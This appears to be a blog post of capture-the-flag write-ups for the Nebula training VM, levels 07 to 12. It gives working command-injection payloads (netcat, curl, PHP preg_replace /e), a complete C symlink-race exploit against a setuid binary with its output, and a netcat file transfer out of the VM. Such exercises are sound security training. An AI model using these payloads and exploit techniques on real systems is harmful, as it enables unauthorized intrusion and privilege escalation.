"Whatever Pages"

20xx-A1-Injection

         Nebula 12 Agenda: “There is a backdoor process listening on port 50001”


This one is pretty easy, it contains injection flaw. The vulnerability arises when a naked unhandled input string falls into “hash” function as an “password” argument. io.popen lua facility starts command sequence in a separated process, thereby we can provide injection:

1 level12@nebula:~$ echo "0; getflag > /tmp/flag; echo 0" | nc localhost 50001
2 Password: Better luck next time
3 level12@nebula:~$ cat /tmp/flag 
4 You have successfully executed getflag on a target account

As well, in this manner we didn’t break the execution chain. “Voila”!

Race condition

         Nebula 10 Agenda: “The setuid binary at “/home/flag10/flag10” will upload any file given, as long as it meets the requirements of the “access()” system call”

We have a classic TOCTOU issue. There’s no need for more explanation, because all things are perfectly fleshed out on the wikipedia. I wrote some anchor point which in order is playing with symlinks replacement until succeed:

 1 /** PWN_10.c **/
 2 #include <stdio.h>
 3 #include <stdlib.h>
 4 #include <string.h>
 5 #include <sys/types.h>
 6 #include <sys/wait.h>
 7 #include <sys/mman.h>
 8 
 9 #define BANNER ".oO Oo."
10 #define MOCKUP "some text"
11 #define LISTENER "nc -lk 18211"
12 
13 const int BUFF_SIZE = 64;
14 static int *is_found = 0;
15 
16 int check_success(char *banner, char *data) 
17 {
18     return (strstr(banner, BANNER) != NULL)
19         && (strstr(data, MOCKUP)   == NULL);
20 }
21 
22 void setup_listener() 
23 {
24     char prev_line[BUFF_SIZE];
25     char curr_line[BUFF_SIZE];
26 
27     FILE *fd = popen(LISTENER, "r");
28 
29     while (fgets(curr_line, BUFF_SIZE, fd) != NULL) 
30     {
31         if (check_success(prev_line, curr_line)) 
32         {
33             *is_found = 1;
34             printf("\n\nThe passprase is: %s\n\n", curr_line);
35             pclose(fd);
36         }
37         strcpy(prev_line, curr_line);
38     }
39 }
40 
41 void start_race()
42 {
43     while (*is_found == 0) 
44     {
45         system("ln -sfn /tmp/dummy /tmp/lure");
46         sleep(1);
47         system("/home/flag10/flag10 /tmp/lure 127.0.0.1 & ln -sfn /home/flag10/token /tmp/lure");
48     }
49 }
50 
51 int main(int argc, char *argv[]) 
52 {
53     is_found = mmap(NULL, sizeof *is_found, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
54 
55     pid_t childPID = fork();
56 
57     if (childPID == 0) {
58         setup_listener();
59     } else {
60         start_race();
61     }
62 
63     exit(EXIT_SUCCESS);
64 }

Compile, prepare “/tmp/dummy”, execute and “Veni Vidi Vici”.

 1 level10@nebula:~$ gcc -o pwn PWN_10.c
 2 level10@nebula:~$ echo "some text" > /tmp/dummy
 3 level10@nebula:~$ ./pwn
 4 You don't have access to /tmp/lure
 5 Connecting to 127.0.0.1:18211 .. Connected!
 6 Sending file ..
 7 
 8 The passprase is: 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
 9 
10 wrote file!
11 Connecting to 127.0.0.1:18211 .. level10@nebula:~$ Connected!
12 Sending file .. wrote file!

Expanding of variables

         Nebula 09 Agenda: “There’s a C setuid wrapper for some vulnerable PHP code…”


In actual fact, when PHP string is specified in double quotes, variables are parsed within it. Furthermore, through the complex (allows usage of complex expressions) variable expansion, could be expanded even function call.

The available script’s options shows that we can pass two arguments($argv) into “markup” function. “$filename” is used to specify file argument of file_get_contents function. The second one, “$use_me“(the name says it all) is never used, so let’s fix it through passing to the print.

1 level09@nebula:~$ cat > /tmp/mail
2 [email {$use_me(sh)}]
3 level09@nebula:~$ /home/flag09/flag09 /tmp/mail system
4 PHP Notice:  Use of undefined constant sh - assumed 'sh' in 
5 /home/flag09/flag09.php(15) : regexp code on line 1
6 sh-4.2$ getflag
7 You have successfully executed getflag on a target account

A few more words to bring some light to the level source. We can see that preg_replace function is using the PREG_REPLACE_EVAL(“e”) pattern modifier which in our case allows the substitution of backreference (to the second captured subpattern “(.*)”) in the replacement string, evaluates it as PHP code (“spam” function), and uses the result for replacing the search string. Nevertheless, as mentioned above, the trick by itself happens when the string gets to the output. That’s it!

World readable files strike again

         Nebula 08 Agenda: “Check what that user was up to, and use it to log into flag08 account.”


All right!!! So basically, what do we have to start with, is a single pcap file format:

1 -rw-r--r-- 1 root   root    8302 2011-11-20 21:22 capture.pcap

If working with TCP based protocols it can be very helpful to see the data from a TCP stream in the way that the application layer sees it.

Without doubts Wireshark is a wounderful tool (nonetheless, we aren’t able to use X11-server on Nebula VM. Actually, all is possible =) but that’s definitely is not the best way). It worth to notice that there’s also exist console version called tshark but unfortunately, attempt to setup it on VM due to some failures was unsuccessful. That’s why I had to use what was at hand, in particular tcpflow:

1 level08@nebula:/home/flag08$ tcpflow -cer ./capture.pcap

Blue color indicates client to server flow and the red one is server to client. The default behavior in case of printing to file/console is converting all non-printable characters to the “.” character. We have four dots in the password, let’s not guessing but making clear for sure what it exactly is by using wireshark (cannot escape from fate) on the outer host.

Firstly need to pass this instance file out and netcat will help in this.

1 level08@nebula:/home/flag08$ nc -l 8888 < ./capture.pcap
2 # And then on the outer host:
3 nobody@home$ wget -O capture.pcap 192.168.56.102:8888

Secondly, check out on the wireshark:

If grab the ASCII table it appears that “7F” hex represents delete and “0D” - carriage return symbols respectively. The final note as conclusion, after applying “DEL”, the passphrase (flag08 account) becomes - “backd00Rmate”. Hell yeah (òÓ,)_\,,/ !

Reachable from the web

         Nebula 07 Agenda: “The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.”
         “It was the Perl’s script, the one who swooned over the network flow.


As usual, started with target account’s home investigation.

 1 level07@nebula:/home/flag07$ ls -la
 2 .........
 3 -rw-r--r-- 1 root   root    3719 2011-11-20 21:22 thttpd.conf
 4 
 5 level07@nebula:/home/flag07$ cat ./thttpd.conf | less
 6 
 7 # This file is for thttpd processes created by /etc/init.d/thttpd.
 8 .........
 9 # Specifies an alternate port number to listen on.
10 port=7007
11 .........
12 # Specifies a directory to chdir() to at startup. This is merely a convenience
13 # you could just as easily do a cd in the shell script that invokes the program.
14 dir=/home/flag07
15 .........
16 # Specifies a wildcard pattern for CGI programs, for instance "**.cgi" or
17 # "/cgi-bin/*". See thttpd(8) for details.
18 cgipat=**.cgi
19 .........

It appears that we have running thttpd server on 7007 port with specified config from flag07 home folder (which in turns will execute all *.cgi scripts from there).

1 level07@nebula:/home/flag07$ ps aux | grep http
2 flag07 1187 ......... /usr/sbin/thttpd -C /home/flag07/thttpd.conf
3 flag16 1189 ......... /usr/sbin/thttpd -C /home/flag16/thttpd.conf

Indeed! And not the only one =).

From “index.cgi” source we can see that it takes value of “Host” argument, passes it as input to ping utility and print out the result. So let’s make request with curl tool and use some kind of separator to inject the favour “getflag” command. Don’t forget about URL encoding.

 1 $curl --data-urlencode "Host=localhost;getflag" 192.168.1.3:7007/index.cgi
 2 <html><head><title>Ping results</title></head><body><pre>PING localhost 
 3 (127.0.0.1) 56(84) bytes of data.
 4 64 bytes from localhost (127.0.0.1): icmp_req=1 ttl=64 time=17.3 ms
 5 64 bytes from localhost (127.0.0.1): icmp_req=2 ttl=64 time=17.2 ms
 6 64 bytes from localhost (127.0.0.1): icmp_req=3 ttl=64 time=39.0 ms
 7 
 8 --- localhost ping statistics ---
 9 3 packets transmitted, 3 received, 0% packet loss, time 2012ms
10 rtt min/avg/max/mdev = 17.251/24.558/39.073/10.263 ms
11 You have successfully executed getflag on a target account

Line #11, indicates the end of destination point. BTW “192.168.1.3” is address of Nebula virtual machine in my local network (use ifconfig to find out for your case).

P.S. You could also try to deal with request from web browser or wget util + some online url encoder (or at least wiki percent-encoding of reserved characters table) as helper for clear argument performing.

Subscribe via RSS.